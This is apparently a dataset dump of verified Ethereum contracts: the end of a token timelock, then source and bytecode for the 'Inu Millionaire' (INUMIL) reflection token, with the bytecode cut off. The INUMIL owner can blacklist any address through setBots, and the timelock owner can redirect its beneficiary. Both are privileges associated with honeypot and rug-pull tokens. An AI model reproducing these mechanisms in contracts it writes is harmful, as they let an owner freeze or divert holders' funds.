/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract SarenStackerTimelock {
using SafeERC20 for IERC20;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == _owner, "Caller is not the owner");
_;
}
// ERC20 basic token contract being held
IERC20 immutable private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// address that is the owner
address immutable private _owner;
// timestamp when token release is enabled
uint256 immutable private _releaseTime;
constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
// solhint-disable-next-line not-rely-on-time
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_owner = msg.sender;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @notice Changes the beneficiary of the tokens.
*/
function changeBeneficiary(address add) public virtual onlyOwner {
_beneficiary = add;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806338af3eed1461005c57806386d1a69f1461007a578063b91d400114610084578063dc070657146100a2578063fc0c546a146100be575b600080fd5b6100646100dc565b60405161007191906109f6565b60405180910390f35b610082610105565b005b61008c610262565b6040516100999190610b37565b60405180910390f35b6100bc60048036038101906100b791906106b5565b61028a565b005b6100c661035b565b6040516100d39190610a3a565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61010d610262565b42101561014f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161014690610a77565b60405180910390fd5b600061015961035b565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161019191906109f6565b60206040518083038186803b1580156101a957600080fd5b505afa1580156101bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e19190610707565b905060008111610226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161021d90610b17565b60405180910390fd5b61025f6102316100dc565b8261023a61035b565b73ffffffffffffffffffffffffffffffffffffffff166103839092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000062464080905090565b7f00000000000000000000000002fff939d7e87f39dfd7ce107e2437247475e08673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030f90610a97565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f000000000000000000000000bd4a858139b155219e2c8d10135003fdef720b6b905090565b6104048363a9059cbb60e01b84846040516024016103a2929190610a11565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610409565b505050565b600061046b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166104d09092919063ffffffff16565b90506000815111156104cb578080602001905181019061048b91906106de565b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190610af7565b60405180910390fd5b5b505050565b60606104df84846000856104e8565b90509392505050565b60608247101561052d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052490610ab7565b60405180910390fd5b610536856105fc565b610575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056c90610ad7565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161059e91906109df565b60006040518083038185875af1925050503d80600081146105db576040519150601f19603f3d011682016040523d82523d6000602084013e6105e0565b606091505b50915091506105f082828661060f565b92505050949350505050565b600080823b905060008111915050919050565b6060831561061f5782905061066f565b6000835111156106325782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106669190610a55565b60405180910390fd5b9392505050565b60008135905061068581610c34565b92915050565b60008151905061069a81610c4b565b92915050565b6000815190506106af81610c62565b92915050565b6000602082840312156106c757600080fd5b60006106d584828501610676565b91505092915050565b6000602082840312156106f057600080fd5b60006106fe8482850161068b565b91505092915050565b60006020828403121561071957600080fd5b6000610727848285016106a0565b91505092915050565b61073981610b84565b82525050565b600061074a82610b52565b6107548185610b68565b9350610764818560208601610bf0565b80840191505092915050565b61077981610bcc565b82525050565b600061078a82610b5d565b6107948185610b73565b93506107a4818560208601610bf0565b6107ad81610c23565b840191505092915050565b60006107c5603283610b73565b91507f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008301527f65666f72652072656c656173652074696d6500000000000000000000000000006020830152604082019050919050565b600061082b601783610b73565b91507f43616c6c6572206973206e6f7420746865206f776e65720000000000000000006000830152602082019050919050565b600061086b602683610b73565b91507f416464726573733a20696e73756666696369656e742062616c616e636520666f60008301527f722063616c6c00000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006108d1601d83610b73565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b6000610911602a83610b73565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b6000610977602383610b73565b91507f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008301527f61736500000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6109d981610bc2565b82525050565b60006109eb828461073f565b915081905092915050565b6000602082019050610a0b6000830184610730565b92915050565b6000604082019050610a266000830185610730565b610a3360208301846109d0565b9392505050565b6000602082019050610a4f6000830184610770565b92915050565b60006020820190508181036000830152610a6f818461077f565b905092915050565b60006020820190508181036000830152610a90816107b8565b9050919050565b60006020820190508181036000830152610ab08161081e565b9050919050565b60006020820190508181036000830152610ad08161085e565b9050919050565b60006020820190508181036000830152610af0816108c4565b9050919050565b60006020820190508181036000830152610b1081610904565b9050919050565b60006020820190508181036000830152610b308161096a565b9050919050565b6000602082019050610b4c60008301846109d0565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b8f82610ba2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610bd782610bde565b9050919050565b6000610be982610ba2565b9050919050565b60005b83811015610c0e578082015181840152602081019050610bf3565b83811115610c1d576000848401525b50505050565b6000601f19601f8301169050919050565b610c3d81610b84565b8114610c4857600080fd5b50565b610c5481610b96565b8114610c5f57600080fd5b50565b610c6b81610bc2565b8114610c7657600080fd5b5056fea26469706673582212208e0860fedfb68c5bbe8b18d3f9e35d510940f267aa90affe4d4feb7dd742e1b364736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 10,131 |
0x3f281339d4647d4ef4676b7600613a13ef1aef16 | /**
*Submitted for verification at Etherscan.io on 2021-08-01
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/INUMIL
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract INUMIL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inu Millionaire";
string private constant _symbol = "INUMIL";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 9;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f8578063c3c8cd8014610318578063c9567bf91461032d578063d543dbeb14610342578063dd62ed3e1461036257600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102d857600080fd5b8063273123b7116100dc578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610119578063095ea7b31461016357806318160ddd1461019357806323b872dd146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600f81526e496e75204d696c6c696f6e6169726560881b60208201525b60405161015a91906119f6565b60405180910390f35b34801561016f57600080fd5b5061018361017e366004611887565b6103a8565b604051901515815260200161015a565b34801561019f57600080fd5b50683635c9adc5dea000005b60405190815260200161015a565b3480156101c557600080fd5b506101836101d4366004611847565b6103bf565b3480156101e557600080fd5b506101f96101f43660046117d7565b610428565b005b34801561020757600080fd5b506040516009815260200161015a565b34801561022357600080fd5b506101f9610232366004611979565b61047c565b34801561024357600080fd5b506101f96104c4565b34801561025857600080fd5b506101ab6102673660046117d7565b6104f1565b34801561027857600080fd5b506101f9610513565b34801561028d57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102b557600080fd5b5060408051808201909152600681526512539553525360d21b602082015261014d565b3480156102e457600080fd5b506101836102f3366004611887565b610587565b34801561030457600080fd5b506101f96103133660046118b2565b610594565b34801561032457600080fd5b506101f9610638565b34801561033957600080fd5b506101f961066e565b34801561034e57600080fd5b506101f961035d3660046119b1565b610a32565b34801561036e57600080fd5b506101ab61037d36600461180f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b5338484610b05565b5060015b92915050565b60006103cc848484610c29565b61041e843361041985604051806060016040528060288152602001611bc7602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610b05565b5060019392505050565b6000546001600160a01b0316331461045b5760405162461bcd60e51b815260040161045290611a49565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161045290611a49565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e457600080fd5b476104ee81611075565b50565b6001600160a01b0381166000908152600260205260408120546103b9906110fa565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161045290611a49565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b5338484610c29565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161045290611a49565b60005b8151811015610634576001600a60008484815181106105f057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611b5c565b9150506105c1565b5050565b600c546001600160a01b0316336001600160a01b03161461065857600080fd5b6000610663306104f1565b90506104ee8161117e565b6000546001600160a01b031633146106985760405162461bcd60e51b815260040161045290611a49565b600f54600160a01b900460ff16156106f25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610452565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072f3082683635c9adc5dea00000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076857600080fd5b505afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a091906117f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e857600080fd5b505afa1580156107fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082091906117f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086857600080fd5b505af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a091906117f3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d0816104f1565b6000806108e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094857600080fd5b505af115801561095c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098191906119c9565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106349190611995565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b815260040161045290611a49565b60008111610aac5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610452565b610aca6064610ac4683635c9adc5dea0000084611323565b906113a2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610452565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610452565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610452565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610452565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610fde57600f54600160b81b900460ff1615610e64576001600160a01b0383163014801590610db657506001600160a01b0382163014155b8015610dd05750600e546001600160a01b03848116911614155b8015610dea5750600e546001600160a01b03838116911614155b15610e6457600e546001600160a01b0316336001600160a01b03161480610e245750600f546001600160a01b0316336001600160a01b0316145b610e645760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610452565b601054811115610e7357600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb557506001600160a01b0382166000908152600a602052604090205460ff16155b610ebe57600080fd5b600f546001600160a01b038481169116148015610ee95750600e546001600160a01b03838116911614155b8015610f0e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f235750600f54600160b81b900460ff165b15610f71576001600160a01b0382166000908152600b60205260409020544211610f4c57600080fd5b610f5742603c611aee565b6001600160a01b0383166000908152600b60205260409020555b6000610f7c306104f1565b600f54909150600160a81b900460ff16158015610fa75750600f546001600160a01b03858116911614155b8015610fbc5750600f54600160b01b900460ff165b15610fdc57610fca8161117e565b478015610fda57610fda47611075565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102057506001600160a01b03831660009081526005602052604090205460ff165b15611029575060005b611035848484846113e4565b50505050565b6000818484111561105f5760405162461b